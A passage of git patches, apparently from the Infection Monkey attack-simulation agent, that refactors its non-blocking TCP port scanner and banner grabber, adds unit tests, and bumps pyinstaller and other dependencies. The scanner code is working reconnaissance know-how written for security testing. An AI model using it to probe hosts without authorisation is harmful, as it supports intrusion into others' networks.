zip(sockets, ports_to_scan): err = sock.connect_ex((ip, port)) if err == 0: # immediate connect connected_ports_sockets.append((port, sock)) @@ -96,7 +100,7 @@ def _check_tcp_ports( % (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])) ) - banners = [] + open_ports = {port: "" for port, _ in connected_ports_sockets} if len(connected_ports_sockets) != 0: readable_sockets, _, _ = select.select( [s[1] for s in connected_ports_sockets], [], [], timer.time_remaining @@ -105,20 +109,17 @@ def _check_tcp_ports( # decodable byte string. for port, sock in connected_ports_sockets: if sock in readable_sockets: - banners.append(sock.recv(BANNER_READ).decode(errors="ignore")) + open_ports[port] = sock.recv(BANNER_READ).decode(errors="ignore") else: - banners.append("") + open_ports[port] = "" # try to cleanup for s in possible_ports: s[1].shutdown(socket.SHUT_RDWR) s[1].close() - open_ports_data["open_ports"] = [port for port, _ in connected_ports_sockets] - open_ports_data["banners"] = banners - except socket.error as exc: logger.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) finally: - return open_ports_data + return open_ports From 2ae77ce897c56ed678e119ba5d8dc6ae620cb493 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Feb 2022 10:02:36 -0500 Subject: [PATCH 0366/1110] Agent: Fix error when shutting down sockets in _check_tcp_ports() An error is raised if shutdown() is called on a socket that has not successfully connected. This commit modifies the cleanup logic so that shutdown() is only called on sockets that are known to be connected and close() is called on all sockets. --- .../infection_monkey/network/tcp_scanner.py | 31 ++++++++++++++----- 1 file changed, 23 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index 62af733e7..45de37d30 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -1,7 +1,7 @@ import logging import select import socket -from typing import Iterable, Mapping +from typing import Iterable, Mapping, Tuple from infection_monkey.i_puppet import PortScanData, PortStatus from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT, tcp_port_to_service @@ -113,13 +113,28 @@ def _check_tcp_ports( else: open_ports[port] = "" - # try to cleanup - for s in possible_ports: - s[1].shutdown(socket.SHUT_RDWR) - s[1].close() - except socket.error as exc: logger.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) - finally: - return open_ports + _clean_up_sockets(possible_ports, connected_ports_sockets) + + return open_ports + + +def _clean_up_sockets( + possible_ports: Iterable[Tuple[int, socket.socket]], + connected_ports_sockets: Iterable[Tuple[int, socket.socket]], +): + # Only call shutdown() on sockets we know to be connected + for port, s in connected_ports_sockets: + try: + s.shutdown(socket.SHUT_RDWR) + except socket.error as exc: + logger.warning(f"Error occurred while shutting down socket on port {port}: {exc}") + + # Call close() for all sockets + for port, s in possible_ports: + try: + s.close() + except socket.error as exc: + logger.warning(f"Error occurred while closing socket on port {port}: {exc}") From 21ede3e3410df50cd04766b5175df466d407805d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Feb 2022 10:17:29 -0500 Subject: [PATCH 0367/1110] Agent: Improve readability of _check_tcp_ports() --- .../infection_monkey/network/tcp_scanner.py | 39 +++++++++---------- 1 file changed, 19 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index 45de37d30..330b23d52 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -53,8 +53,8 @@ def _check_tcp_ports( for s in sockets: s.setblocking(False) - possible_ports = [] - connected_ports_sockets = [] + possible_ports = set() + connected_ports = set() open_ports = {} try: @@ -64,19 +64,17 @@ def _check_tcp_ports( for sock, port in zip(sockets, ports_to_scan): err = sock.connect_ex((ip, port)) if err == 0: # immediate connect - connected_ports_sockets.append((port, sock)) - possible_ports.append((port, sock)) - continue - if err == 10035: # WSAEWOULDBLOCK is valid. + connected_ports.add((port, sock)) + possible_ports.add((port, sock)) + elif err == 10035: # WSAEWOULDBLOCK is valid. # https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect # says, "Use the select function to determine the completion of the connection # request by checking to see if the socket is writable," which is being done below. - possible_ports.append((port, sock)) - continue - if err == 115: # EINPROGRESS 115 /* Operation now in progress */ - possible_ports.append((port, sock)) - continue - logger.warning("Failed to connect to port %s, error code is %d", port, err) + possible_ports.add((port, sock)) + elif err == 115: # EINPROGRESS 115 /* Operation now in progress */ + possible_ports.add((port, sock)) + else: + logger.warning("Failed to connect to port %s, error code is %d", port, err) if len(possible_ports) != 0: sockets_to_try = possible_ports.copy() @@ -90,24 +88,25 @@ def _check_tcp_ports( _, writeable_sockets, _ = select.select([], sock_objects, [], timer.time_remaining) for s in writeable_sockets: try: # actual test - connected_ports_sockets.append((s.getpeername()[1], s)) + connected_ports.add((s.getpeername()[1], s)) except socket.error: # bad socket, select didn't filter it properly pass - sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets] + + sockets_to_try = sockets_to_try - connected_ports logger.debug( "On host %s discovered the following ports %s" - % (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])) + % (str(ip), ",".join([str(s[0]) for s in connected_ports])) ) - open_ports = {port: "" for port, _ in connected_ports_sockets} - if len(connected_ports_sockets) != 0: + open_ports = {port: "" for port, _ in connected_ports} + if len(connected_ports) != 0: readable_sockets, _, _ = select.select( - [s[1] for s in connected_ports_sockets], [], [], timer.time_remaining + [s[1] for s in connected_ports], [], [], timer.time_remaining ) # read first BANNER_READ bytes. We ignore errors because service might not send a # decodable byte string. - for port, sock in connected_ports_sockets: + for port, sock in connected_ports: if sock in readable_sockets: open_ports[port] = sock.recv(BANNER_READ).decode(errors="ignore") else: @@ -116,7 +115,7 @@ def _check_tcp_ports( except socket.error as exc: logger.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) - _clean_up_sockets(possible_ports, connected_ports_sockets) + _clean_up_sockets(possible_ports, connected_ports) return open_ports From 36a2b3ff6bf1a851a51704c6857358390d128607 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Feb 2022 10:49:21 -0500 Subject: [PATCH 0368/1110] Agent: Add sleep back into _check_tcp_ports() --- monkey/infection_monkey/network/tcp_scanner.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index 330b23d52..6fdded293 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -1,6 +1,7 @@ import logging import select import socket +import time from typing import Iterable, Mapping, Tuple from infection_monkey.i_puppet import PortScanData, PortStatus @@ -9,6 +10,8 @@ from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) +POLL_INTERVAL = 0.5 + def scan_tcp_ports( host: str, ports_to_scan: Iterable[int], timeout: float @@ -83,6 +86,10 @@ def _check_tcp_ports( timer.set(timeout) while (not timer.is_expired()) and sockets_to_try: + # The call to select() may return sockets that are writeable but not actually + # connected. Adding this sleep prevents excessive looping. + time.sleep(min(POLL_INTERVAL, timer.time_remaining)) + sock_objects = [s[1] for s in sockets_to_try] _, writeable_sockets, _ = select.select([], sock_objects, [], timer.time_remaining) From 543ff24ac38b94c703ca59ea952931aed890325c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 10 Feb 2022 17:56:38 +0100 Subject: [PATCH 0369/1110] UT: Add tests for tcp scanning --- .../network/test_tcp_scanning.py | 54 +++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/network/test_tcp_scanning.py diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_tcp_scanning.py b/monkey/tests/unit_tests/infection_monkey/network/test_tcp_scanning.py new file mode 100644 index 000000000..e383e1004 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network/test_tcp_scanning.py @@ -0,0 +1,54 @@ +import pytest + +from infection_monkey.i_puppet import PortStatus +from infection_monkey.network import scan_tcp_ports + +PORTS_TO_SCAN = [22, 80, 8080, 143, 445, 2222] + +OPEN_PORTS_DATA = {22: "SSH-banner", 80: "", 2222: "SSH2-banner"} + + +@pytest.fixture +def patch_check_tcp_ports(monkeypatch, open_ports_data): + monkeypatch.setattr( + "infection_monkey.network.tcp_scanner._check_tcp_ports", + lambda *_: open_ports_data, + ) + + +@pytest.mark.parametrize("open_ports_data", [OPEN_PORTS_DATA]) +def test_tcp_successful(monkeypatch, patch_check_tcp_ports, open_ports_data): + closed_ports = [8080, 143, 445] + + port_scan_data = scan_tcp_ports("127.0.0.1", PORTS_TO_SCAN, 0) + + assert len(port_scan_data) == 6 + for port in open_ports_data.keys(): + assert port_scan_data[port].port == port + assert port_scan_data[port].status == PortStatus.OPEN + assert port_scan_data[port].banner == open_ports_data.get(port) + + for port in closed_ports: + assert port_scan_data[port].port == port + assert port_scan_data[port].status == PortStatus.CLOSED + assert port_scan_data[port].banner is None + + +@pytest.mark.parametrize("open_ports_data", [{}]) +def test_tcp_empty_response(monkeypatch, patch_check_tcp_ports, open_ports_data): + + port_scan_data = scan_tcp_ports("127.0.0.1", PORTS_TO_SCAN, 0) + + assert len(port_scan_data) == 6 + for port in open_ports_data: + assert port_scan_data[port].port == port + assert port_scan_data[port].status == PortStatus.CLOSED + assert port_scan_data[port].banner is None + + +@pytest.mark.parametrize("open_ports_data", [OPEN_PORTS_DATA]) +def test_tcp_no_ports_to_scan(monkeypatch, patch_check_tcp_ports, open_ports_data): + + port_scan_data = scan_tcp_ports("127.0.0.1", [], 0) + + assert len(port_scan_data) == 0 From 31abc065f646fcb9c7e37d5b64898d0ba3591290 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 11 Feb 2022 12:40:59 +0200 Subject: [PATCH 0370/1110] Agent: add explicit requirements for for pywin32-ctypes and pefile These are pyinstaller dependencies that don't get auto-resolved and installed for some reason --- monkey/infection_monkey/Pipfile | 2 + monkey/infection_monkey/Pipfile.lock | 82 ++++++++++++++++++++++++---- 2 files changed, 74 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 6ef8238ea..4eeee9a02 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -23,6 +23,8 @@ typing-extensions = "*" # Allows us to use 3.9 typing features on 3.7 project pysmb = "*" "WinSys-3.x" = "*" ldaptor = "*" +pywin32-ctypes = {version = "*", sys_platform = "== 'win32'"} # Pyinstaller requirement on windows +pefile = {version = "*", sys_platform = "== 'win32'"} # Pyinstaller requirement on windows [dev-packages] ldap3 = "*" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 11675e31d..082f95ef6 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "b864e9ef324253573e0f7816667f60dca54c9240995017b0db5fcd75caac1c81" + "sha256": "ea3dfa6182ed65e5b25e6e5ee917253113761d890132301bd32898d9f3d982ba" }, "pipfile-spec": 6, "requires": { @@ -163,6 +163,14 @@ "markers": "python_version >= '3.6'", "version": "==8.0.3" }, + "colorama": { + "hashes": [ + "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", + "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" + ], + "markers": "platform_system == 'Windows'", + "version": "==0.4.4" + }, "constantly": { "hashes": [ "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35", @@ -242,11 +250,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:899e2a40a8c4a1aec681feef45733de8a6c58f3f6a0dbed2eb6574b4387a77b6", - "sha256:951f0d8a5b7260e9db5e41d429285b5f451e928479f19d80818878527d36e95e" + "sha256:6affcdb3aec542dd98df8211e730bba6c5f2bec8288d47bacacde898f548c9ad", + "sha256:9e5e553bbba1843cb4a00823014b907616be46ee503d2b9ba001d214a8da218f" ], "markers": "python_version < '3.8'", - "version": "==4.10.1" + "version": "==4.11.0" }, "incremental": { "hashes": [ @@ -469,13 +477,21 @@ ], "version": "==1.7.4" }, + "pefile": { + "hashes": [ + "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" + ], + "index": "pypi", + "markers": "sys_platform == 'win32'", + "version": "==2021.9.3" + }, "prompt-toolkit": { "hashes": [ - "sha256:cb7dae7d2c59188c85a1d6c944fad19aded6a26bd9c8ae115a4e1c20eb90b713", - "sha256:f2b6a8067a4fb959d3677d1ed764cc4e63e0f6f565b9a4fc7edc2b18bf80217b" + "sha256:30129d870dcb0b3b6a53efdc9d0a83ea96162ffd28ffe077e94215b233dc670c", + "sha256:9f1cd16b1e86c2968f2519d7fb31dd9d669916f515612c269d14e9ed52b51650" ], "markers": "python_full_version >= '3.6.2'", - "version": "==3.0.27" + "version": "==3.0.28" }, "psutil": { "hashes": [ @@ -609,10 +625,11 @@ }, "pyinstaller-hooks-contrib": { "hashes": [ - "sha256:29f0bd8fbb2ff6f2df60a0c147e5b5ad65ae5c1a982d90641a5f712de03fa161", - "sha256:61b667f51b2525377fae30793f38fd9752a08032c72b209effabf707c840cc38" + "sha256:37f0a16df336c69c8c7bf76105a6c4a53a270d648920fa21de654a6649e70404", + "sha256:f0a40fbe1842598a7066f785da5ac103ae2a86b4cebf478e530e1df57464814e" ], - "version": "==2022.0" + "markers": "python_version >= '3.7'", + "version": "==2022.1" }, "pymssql": { "hashes": [ @@ -722,6 +739,32 @@ "markers": "python_version >= '3.6'", "version": "==0.3.1" }, + "pywin32": { + "hashes": [ + "sha256:2a09632916b6bb231ba49983fe989f2f625cea237219530e81a69239cd0c4559", + "sha256:51cb52c5ec6709f96c3f26e7795b0bf169ee0d8395b2c1d7eb2c029a5008ed51", + "sha256:5f9ec054f5a46a0f4dfd72af2ce1372f3d5a6e4052af20b858aa7df2df7d355b", + "sha256:6fed4af057039f309263fd3285d7b8042d41507343cd5fa781d98fcc5b90e8bb", + "sha256:793bf74fce164bcffd9d57bb13c2c15d56e43c9542a7b9687b4fccf8f8a41aba", + "sha256:79cbb862c11b9af19bcb682891c1b91942ec2ff7de8151e2aea2e175899cda34", + "sha256:7d3271c98434617a11921c5ccf74615794d97b079e22ed7773790822735cc352", + "sha256:aad484d52ec58008ca36bd4ad14a71d7dd0a99db1a4ca71072213f63bf49c7d9", + "sha256:b1675d82bcf6dbc96363fca747bac8bff6f6e4a447a4287ac652aa4b9adc796e", + "sha256:c268040769b48a13367221fced6d4232ed52f044ffafeda247bd9d2c6bdc29ca", + "sha256:d9b5d87ca944eb3aa4cd45516203ead4b37ab06b8b777c54aedc35975dec0dee", + "sha256:fcf44032f5b14fcda86028cdf49b6ebdaea091230eb0a757282aa656e4732439" + ], + "version": "==303" + }, + "pywin32-ctypes": { + "hashes": [ + "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", + "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" + ], + "index": "pypi", + "markers": "sys_platform == 'win32'", + "version": "==0.2.0" + }, "requests": { "hashes": [ "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61", @@ -772,6 +815,24 @@ "markers": "python_full_version >= '3.6.7'", "version": "==22.1.0" }, + "twisted-iocpsupport": { + "hashes": [ + "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41", + "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", + "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", + "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", + "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", + "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", + "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", + "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", + "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", + "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", + "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", + "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" + ], + "markers": "platform_system == 'Windows'", + "version": "==1.0.2" + }, "typing-extensions": { "hashes": [ "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", @@ -831,6 +892,7 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], + "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, From 40548e85c18490e5d200e458e31b8dc41c74c001 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 11 Feb 2022 15:37:31 +0200 Subject: [PATCH 0371/1110] Agent: bump agent pyinstaller to 4.8 --- monkey/infection_monkey/Pipfile | 2 +- monkey/infection_monkey/Pipfile.lock | 24 +++++++++++++----------- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 4eeee9a02..9423f7d7b 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -5,7 +5,7 @@ name = "pypi" [packages] cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography -pyinstaller = "==4.6" +pyinstaller = "==4.8" impacket = ">=0.9" ipaddress = ">=1.0.23" netifaces = ">=0.10.9" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 082f95ef6..7b4c43bfb 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "ea3dfa6182ed65e5b25e6e5ee917253113761d890132301bd32898d9f3d982ba" + "sha256": "00bf5f0c407e29e2ecc8d4fa4387ee2f51367ed183f0243266fd517f5250906c" }, "pipfile-spec": 6, "requires": { @@ -610,18 +610,20 @@ }, "pyinstaller": { "hashes": [ - "sha256:0fe1fdd6851663d378e85692709506d5d7c6dfc59105315ab78ba99dac689ca3", - "sha256:351bd218799f6253dd195c7c138b29eab96b4b1b805df2ed03f49c30343764c5", - "sha256:3ba0dc50f8951f3c9ab4536b452f8c126ff18ff8439aa77b7e0a1b81a18c7ccf", - "sha256:3bb837a925162518ec58f0b704c36b9c79b92f30df2fe083ddf63175de1eedcb", - "sha256:3ff8be1da3ee971c33d3ce072dcb499658206761e0d36c38d6b83acc838d2a78", - "sha256:72e3995ae182de2e37625a1debe1d0877a85039fe1fcda062891cfa07606072a", - "sha256:b67c9d2844b1a47c0a83dee879ba9fe8ca4f0f076483ab279cdec4a05be8510e", - "sha256:be2ae2aa554604eb467d02b7ac91f2f59d72a3f45ddfa2718c2e3ae9c850793c", - "sha256:c4b3976e6891f1b46ec8baecc8a9888fc71a92178a1ee67c7c5bcb35acf6990d" + "sha256:15d9266d78dc757c103962826e62bce1513825078160be580534ead2ef53087c", + "sha256:44783d58ac4cb0a74a4f2180da4dacbe6a7a013a62b3aa10be6082252e296954", + "sha256:4c848720a65a5bd41249bc804d1bd3dd089bb56aef7f1c5e11f774f11e649443", + "sha256:53ed05214dd67624756fe4e82e861857921a79d0392debf8c9f5bb0ba5a479b6", + "sha256:5c2fd5f18c0397f3d9160446035556afc7f6446fd88048887fdf46eadf85c5ec", + "sha256:6f5cdc39fbdec7b2e0c46cc0f5bd0071bb85e592e324bf4e15375c5ff19e55fc", + "sha256:7ae868bbcc502832a2c802c84a1dbb9f48b44445c50144c29bfcd7b760140e13", + "sha256:9fbb05f5f67862005234da8c7eac69ef87e086f90e345749260051b031774c52", + "sha256:b0b3a31aa60292469f9595f298e2c147cba29c30edcd92a38fdce27727809625", + "sha256:b720853a00bd9547b7d6403d85f23b7f7e451e41bc907673d9fc7f8d9d274594", + "sha256:f00e1296abac71f3b5bb9fdc2e0d4c079201d62faeeeb894ccadd0616179fee3" ], "index": "pypi", - "version": "==4.6" + "version": "==4.8" }, "pyinstaller-hooks-contrib": { "hashes": [ From a3ba7fb830f3aea745feeb2c633ba299011f0d3d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 11 Feb 2022 17:24:33 +0200 Subject: [PATCH 0372/1110] Agent: bumped pyinstaller to 4.9 and locked pywin32 to windows --- monkey/infection_monkey/Pipfile | 3 ++- monkey/infection_monkey/Pipfile.lock | 30 +++++++++++++++------------- 2 files changed, 18 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 9423f7d7b..73841732d 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -5,7 +5,7 @@ name = "pypi" [packages] cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography -pyinstaller = "==4.8" +pyinstaller = "==4.9" impacket = ">=0.9" ipaddress = ">=1.0.23" netifaces = ">=0.10.9" @@ -24,6 +24,7 @@ pysmb = "*" "WinSys-3.x" = "*" ldaptor = "*" pywin32-ctypes = {version = "*", sys_platform = "== 'win32'"} # Pyinstaller requirement on windows +pywin32 = {version = "*", sys_platform = "== 'win32'"} # Lock file is not created with sys_platform win32 requirement if not explicitly specified pefile = {version = "*", sys_platform = "== 'win32'"} # Pyinstaller requirement on windows [dev-packages] diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 7b4c43bfb..a1621a541 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "00bf5f0c407e29e2ecc8d4fa4387ee2f51367ed183f0243266fd517f5250906c" + "sha256": "bb90b6c44807e84c604bdcf613e9fe3ef0f8501326f12b27988b3a255e545ab5" }, "pipfile-spec": 6, "requires": { @@ -208,7 +208,7 @@ "sha256:081649da27ced5e75709a1ee542136eaba9842a0fe4c03da4fb0a3d3ed1f3c44", "sha256:e79351e032d0b606b98d38a4b0e6e2275b31a5b85c873e587cc11b73aca026d6" ], - "markers": "python_version >= '3.6' and python_version < '4.0'", + "markers": "python_version >= '3.6' and python_version < '4'", "version": "==2.2.0" }, "flask": { @@ -610,20 +610,20 @@ }, "pyinstaller": { "hashes": [ - "sha256:15d9266d78dc757c103962826e62bce1513825078160be580534ead2ef53087c", - "sha256:44783d58ac4cb0a74a4f2180da4dacbe6a7a013a62b3aa10be6082252e296954", - "sha256:4c848720a65a5bd41249bc804d1bd3dd089bb56aef7f1c5e11f774f11e649443", - "sha256:53ed05214dd67624756fe4e82e861857921a79d0392debf8c9f5bb0ba5a479b6", - "sha256:5c2fd5f18c0397f3d9160446035556afc7f6446fd88048887fdf46eadf85c5ec", - "sha256:6f5cdc39fbdec7b2e0c46cc0f5bd0071bb85e592e324bf4e15375c5ff19e55fc", - "sha256:7ae868bbcc502832a2c802c84a1dbb9f48b44445c50144c29bfcd7b760140e13", - "sha256:9fbb05f5f67862005234da8c7eac69ef87e086f90e345749260051b031774c52", - "sha256:b0b3a31aa60292469f9595f298e2c147cba29c30edcd92a38fdce27727809625", - "sha256:b720853a00bd9547b7d6403d85f23b7f7e451e41bc907673d9fc7f8d9d274594", - "sha256:f00e1296abac71f3b5bb9fdc2e0d4c079201d62faeeeb894ccadd0616179fee3" + "sha256:24035eb9fffa2e3e288b4c1c9710043819efc7203cae5c8c573bec16f4a8e98f", + "sha256:59372b950d176fdc5ecea29719a8ab3f194b73a15b7f9875ac2a1de9a3daf5ed", + "sha256:62c97cbbdbee30974d607eb1de9afb081eb3adba787c203b00438e21027b829b", + "sha256:75a180a658871bc41f9cf94b6f90ffa54e98f5d6a7cdb02d7530f0360afe24f9", + "sha256:7f46ab11ec986e4c525b93251063144e12d432a132dbc0070e3030e34c76537a", + "sha256:a0b988cfc197d40e3d773b3aa1c7d3e918fc0933b4c15ec3fc5d156f222d82cb", + "sha256:b5f1a94150315ea75bf3501be6c8476d65a7209580bb662da06dbdbc4454f375", + "sha256:bec57b3b2b6178907255557ec0fc4b5ce5a0474013414cdadea853205c74ed26", + "sha256:e2f165cea4470ce8a8349112cd78f48a61413805adc17792a91997a11cfe1d80", + "sha256:ebeb87cdbadb2b4e8f991ffd9945ebd4fb3a7303180e63682c3e1ce01b3fdd22", + "sha256:ec3ca331d565ffca1b6470c5aaf798885a03708c3d0b15c1b19009126f84c1d4" ], "index": "pypi", - "version": "==4.8" + "version": "==4.9" }, "pyinstaller-hooks-contrib": { "hashes": [ @@ -756,6 +756,8 @@ "sha256:d9b5d87ca944eb3aa4cd45516203ead4b37ab06b8b777c54aedc35975dec0dee", "sha256:fcf44032f5b14fcda86028cdf49b6ebdaea091230eb0a757282aa656e4732439" ], + "index": "pypi", + "markers": "sys_platform == 'win32'", "version": "==303" }, "pywin32-ctypes": { From 216a2453297c3d9b87cddd5364572063d2451e56 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 11 Feb 2022 17:25:04 +0200 Subject: [PATCH 0373/1110] Island: bumped pyinstaller to 4.9 --- monkey/monkey_island/Pipfile | 2 +- monkey/monkey_island/Pipfile.lock | 91 +++++++++++++++++++++++-------- 2 files changed, 70 insertions(+), 23 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index ba0a2f163..fe4e12522 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -4,7 +4,7 @@ verify_ssl = true name = "pypi" [packages] -pyinstaller = "==4.8" +pyinstaller = "==4.9" bcrypt = "==3.2.0" boto3 = "==1.18.44" botocore = "==1.21.44" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index eea7649f1..6450abd8e 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "294a14211a1e3eef814e8957370641d9a6b5dc6da9e43a5d00ef2eb522e9d6cb" + "sha256": "9c7bfed341e413c0d1afccf60ef54891d02b46ecb1f66b77e25b3b1b83601bc7" }, "pipfile-spec": 6, "requires": { @@ -149,6 +149,14 @@ "markers": "python_version >= '3.6'", "version": "==8.0.3" }, + "colorama": { + "hashes": [ + "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", + "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" + ], + "markers": "platform_system == 'Windows'", + "version": "==0.4.4" + }, "cryptography": { "hashes": [ "sha256:0a817b961b46894c5ca8a66b599c745b9a3d9f822725221f0e0fe49dc043a3a3", @@ -215,6 +223,13 @@ "index": "pypi", "version": "==0.3.9" }, + "future": { + "hashes": [ + "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.18.2" + }, "gevent": { "hashes": [ "sha256:0082d8a5d23c35812ce0e716a91ede597f6dd2c5ff508a02a998f73598c59397", @@ -325,11 +340,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:899e2a40a8c4a1aec681feef45733de8a6c58f3f6a0dbed2eb6574b4387a77b6", - "sha256:951f0d8a5b7260e9db5e41d429285b5f451e928479f19d80818878527d36e95e" + "sha256:6affcdb3aec542dd98df8211e730bba6c5f2bec8288d47bacacde898f548c9ad", + "sha256:9e5e553bbba1843cb4a00823014b907616be46ee503d2b9ba001d214a8da218f" ], "markers": "python_version < '3.8'", - "version": "==4.10.1" + "version": "==4.11.0" }, "ipaddress": { "hashes": [ @@ -490,6 +505,13 @@ "index": "pypi", "version": "==0.11.0" }, + "pefile": { + "hashes": [ + "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" + ], + "markers": "sys_platform == 'win32'", + "version": "==2021.9.3" + }, "pyaescrypt": { "hashes": [ "sha256:a26731960fb24b80bd3c77dbff781cab20e77715906699837f73c9fcb2f44a57", @@ -548,27 +570,28 @@ }, "pyinstaller": { "hashes": [ - "sha256:15d9266d78dc757c103962826e62bce1513825078160be580534ead2ef53087c", - "sha256:44783d58ac4cb0a74a4f2180da4dacbe6a7a013a62b3aa10be6082252e296954", - "sha256:4c848720a65a5bd41249bc804d1bd3dd089bb56aef7f1c5e11f774f11e649443", - "sha256:53ed05214dd67624756fe4e82e861857921a79d0392debf8c9f5bb0ba5a479b6", - "sha256:5c2fd5f18c0397f3d9160446035556afc7f6446fd88048887fdf46eadf85c5ec", - "sha256:6f5cdc39fbdec7b2e0c46cc0f5bd0071bb85e592e324bf4e15375c5ff19e55fc", - "sha256:7ae868bbcc502832a2c802c84a1dbb9f48b44445c50144c29bfcd7b760140e13", - "sha256:9fbb05f5f67862005234da8c7eac69ef87e086f90e345749260051b031774c52", - "sha256:b0b3a31aa60292469f9595f298e2c147cba29c30edcd92a38fdce27727809625", - "sha256:b720853a00bd9547b7d6403d85f23b7f7e451e41bc907673d9fc7f8d9d274594", - 